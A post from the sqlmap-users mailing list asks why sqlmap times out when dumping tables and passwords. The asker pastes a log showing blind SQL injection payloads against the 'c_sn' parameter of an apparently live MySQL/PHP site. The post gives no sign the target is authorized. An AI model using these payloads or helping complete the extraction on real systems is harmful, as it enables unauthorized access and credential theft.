Hi all,
I am use sqlmap to retrieve database
current-user and current-db can workable
retrieve tables ,passwords etc will response time out
Could you tell me what is the problem ? how i can retrieve tables and passwords
?
Thanks
bob
[09:56:07] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s)
requests:
---
Place: GET
Parameter: c_sn
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: c_sn=2' AND 8126=8126 AND 'Cqlm'='Cqlm
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: c_sn=2' AND SLEEP(5) AND 'eKVl'='eKVl
---
[09:56:08] [INFO] testing MySQL
[09:56:08] [INFO] confirming MySQL
[09:56:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL >= 5.0.0
[09:56:08] [INFO] fetching current user
[09:56:08] [INFO] resumed: keyway_db@localhost
current user: 'keyway_db@localhost'
[09:56:08] [INFO] fetching database users privileges
[09:56:08] [INFO] fetching database users
[09:56:08] [INFO] fetching number of database users
[09:56:08] [WARNING] running in a single-thread mode. Please consider usage of
option '--threads' for faster data retrieval
[09:56:08] [INFO] retrieved:
[09:57:09] [CRITICAL] connection timed out to the target url or proxy, sqlmap
is going to retry the request
[09:58:10] [CRITICAL] connection timed out to the target url or proxy, sqlmap
is going to retry the request
[09:59:11] [CRITICAL] connection timed out to the target url or proxy, sqlmap
is going to retry the request
[10:00:12] [CRITICAL] connection timed out to the target url or proxy
[*] shutting down at 10:00:12------------------------------------------------------------------------------
Live Security Virtual Conference
Exclusive live event will cover all the ways today's security and
threat landscape has changed and how IT managers can respond. Discussions
will include endpoint security, mobile security and the latest in malware
threats. http://www.accelacomm.com/jaw/sfrnl04242012/114/50122263/
_______________________________________________
sqlmap-users mailing list
sqlmap-users@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/sqlmap-users
